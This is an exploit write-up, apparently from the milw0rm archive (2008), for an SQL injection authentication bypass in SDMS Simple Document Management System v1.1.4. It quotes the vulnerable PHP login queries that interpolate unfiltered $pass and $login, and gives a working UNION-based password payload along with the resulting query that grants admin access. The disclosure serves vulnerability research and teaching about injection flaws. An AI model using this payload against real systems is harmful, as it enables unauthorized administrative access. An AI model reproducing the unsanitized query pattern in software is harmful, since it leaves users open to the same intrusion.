Simple Document Management System 1.1.4 - Authentication Bypass

SDMS Simple Document Management System v1.1.4 SQL Injection
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	Author: Yuri


	Program: SDMS Simple Document Management System
	Version: v1.1.4 (and probably all older versions as well)
	Website: http://sdms.cafuego.net/


How it works
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The login system is very insecure, this is the code we are going to abuse:

	$result = @mysql_query("SELECT pass != PASSWORD('$pass') FROM users WHERE user='$login'");

	$row = @mysql_fetch_array($result);

	if( $row[0] != 0 ) {

		header("Location: index.php");

		exit;

	}

	$result = @mysql_query("SELECT id,name FROM users WHERE user='$login'");
	$row = @mysql_fetch_array($result);

	$id = $row[id];

	$name = $row[name];

If the result of the first query is 0, it selects the id and name from the
user entered at the login page. There is no filter on $pass.

So if we enter
	user: Admin (case insensitive)
	password: ') FROM users WHERE id=-1 UNION SELECT 0 FROM users --

The resulting query looks like this:

	SELECT pass != PASSWORD('') FROM users WHERE id=-1 UNION SELECT 0 FROM users --') FROM users WHERE user='$login'

which is always 0, so voila, admin access.

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						Yuri // 04 - 11 - 2008

# milw0rm.com [2008-11-04]